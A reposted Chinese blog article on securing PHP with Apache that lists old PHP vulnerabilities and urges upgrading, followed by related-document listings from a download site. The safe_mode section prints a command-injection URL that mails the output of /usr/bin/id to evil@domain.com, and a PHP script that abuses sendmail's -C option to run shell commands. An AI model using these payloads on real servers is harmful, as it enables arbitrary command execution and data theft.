`

(转)PHP安全配置之实现安全的两个重点

阅读更多
一、Web服务器安全

  PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

  都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

  二、PHP本身问题

  1、远程溢出

  PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.

  2、远程拒绝服务

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

  3、safe_mode绕过漏洞

  还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

  执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  这将id执行的结果发送给evil@domain.com。

  对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

  #注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>

  还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
分享到:
评论

相关推荐

    PHP安全配置之实现安全的两个重点

    在构建和维护一个安全的PHP环境时,有两个关键点至关重要:Web服务器安全和PHP本身的配置。本文将深入探讨这两个方面,以确保您的PHP应用程序能够在一个相对安全的环境中运行。 首先,我们来关注Web服务器安全。PHP...

    抓住PHP安全配置的两个重点

    本文将深入探讨这两个关键点,以帮助你构建一个更坚固的Web应用防护体系。 首先,Web服务器安全是基础。PHP通常作为Apache Web服务器的一个模块运行,因此确保Apache的安全至关重要。一种推荐的方法是以chroot方式...

    PHP IIS Windows 2003 配置

    #### 三、IIS中的PHP配置 最后,让我们看一下如何在IIS中配置PHP。 1. **配置ISAPI扩展:** - 打开IIS管理器。 - 选择一个Web站点,在右侧点击“属性”按钮。 - 转到“主目录”选项卡。 - 在“应用程序设置”...

    php的spring 实现webservice 实例

    在IT行业中,PHP和Spring是两个非常重要的框架,它们分别在Web开发的不同领域扮演着关键角色。本实例将探讨如何在PHP环境中利用Spring框架来实现Web服务(WebService)。Web服务是一种允许不同系统之间交换数据的...

    《转》Apache+php+mysql在windows下的安装与配置图解(2)

    文件进行编辑,重点设置以下两个选项: - `register_globals`:该选项控制全局变量的开启状态。默认情况下,它的值为 `Off`,这意味着从表单提交的数据必须通过超级全局数组如 `$_POST` 或 `$_GET` 来访问。若设置...

    php配置,快速开发uphp的宝典

    ### PHP配置与快速开发指南:基于Uphp的实践 #### 一、三层架构简介 在开始探讨PHP的具体配置之前,我们首先需要理解三层架构的概念及其重要性。三层架构是一种常见的软件设计模式,它将应用程序分为三个主要部分...

    转转最新原码浩天版_转转链接源码带独立后台_cowfag_最新转转_转转

    【最新转转】和【转转】这两个标签强调了这是转转链接服务的最新版本,可能包括了新的特性、优化的性能以及修复的已知问题,旨在提供更优秀的用户体验。 在压缩包内的“转转最新带管理原码浩天版”文件,应该是源码...

    IIS配置php用到的运行时文件.rar

    本文将详细讲解如何配置IIS以支持PHP运行,并重点介绍标题和描述中提到的三个关键运行时文件:`vcredist_x64.exe`、`vcredist_x86.exe`以及`rewrite_x64_zh-CN.msi`。 首先,让我们理解PHP在IIS中的作用。PHP是一种...

    php-8.0.2.zip

    解压“php-8.0.2”压缩包后,找到php_for_iis目录,这里有适用于IIS的PHP配置文件和模块。将php-cgi.exe复制到系统的FastCGI扩展目录,通常是`C:\Windows\System32\inetsrv\fcgiext`。接着,在IIS管理器中添加...

    信息安全实验三:Snort入侵检测系统的配置与使用

    ### 信息安全实验三:Snort入侵检测系统的配置与使用 #### 实验背景及目标 本实验旨在通过实际操作,使学生能够掌握Snort入侵检测系统的配置与使用方法。实验不仅涉及Snort的基本安装与配置,还包括如何搭建一个...

    PHP程序设计-3期(KC016) 单元设计_环境安装与配置.doc

    3. **线程安全与线程不安全**:理解这两个概念,线程安全是指程序在多线程环境下可以正确执行,而线程不安全则可能引发数据混乱。 **能力目标** 1. **选择PHP版本**:能根据需求选择合适的PHP版本,例如线程安全或...

    图解win2003+iis6+php+gd2+mysql安装配置_php教程.docx

    >`,然后通过浏览器访问,检查PHP配置和扩展是否正确加载。 - 对于GD2,创建一个需要图像处理的PHP脚本,验证GD库是否可用。 总结:本教程详尽地指导了在Windows Server 2003上搭建PHP开发环境的步骤,涵盖了从...

    linux+nginx+php+mysql环境配置指南.pdf

    本指南将重点介绍如何在Red Hat Linux上配置LNMP环境。 首先,我们需要安装Red Hat Linux操作系统。在安装过程中,确保选择正确的语言(中文简体)、键盘布局(美国英语式)、存储设备类型(基本存储设备)、网络...

    基于PHP MySQL的网上购物系统设计与实现.pdf

    在功能需求分析方面,网上购物系统的设计者需要详细罗列出用户和管理员两个角色所需的所有功能。比如,用户需要能够注册和登录、浏览商品、添加商品到购物车、进行在线支付、查看和管理订单等。管理员则需要能够管理...

    基于thrift实现的php和java的rpc框架.zip

    在"基于thrift实现的php和java的rpc框架.zip"中,主要包含了一个名为"java0323"的文件或目录,这可能是指Java部分的源代码或者相关的配置文件。在这个框架中,Thrift将作为连接PHP和Java服务的关键组件。 1. **...

    Practical PHP and MySQL(php Mysql实战案例)

    《Practical PHP and MySQL》是一本深入探讨PHP与MySQL结合应用的实战教程,它涵盖了从基础到高级的各种技术,旨在帮助读者掌握这两种强大工具的综合运用。PHP是一种广泛使用的服务器端脚本语言,尤其适用于Web开发...

    php-beast_liexusong.tar.gz

    这个压缩包文件包含了名为"4.php-beast_liexusong"的核心组件,它可能是加密模块的实现或者相关的配置文件。 源码加密的目的是保护知识产权,防止未经授权的访问和复制。在PHP中,通常有两种主要的加密方法:静态...

    phprpc_3.0.2_delphi_Edit_XE2

    在这个特定的版本"phprpc_3.0.2_delphi_Edit_XE2"中,重点是针对Embarcadero Delphi开发环境的一个定制编辑版,特别适配于XE2版本。这表明该版本是为使用Delphi XE2的开发者设计的,旨在方便他们在PHP和Delphi之间...

Global site tag (gtag.js) - Google Analytics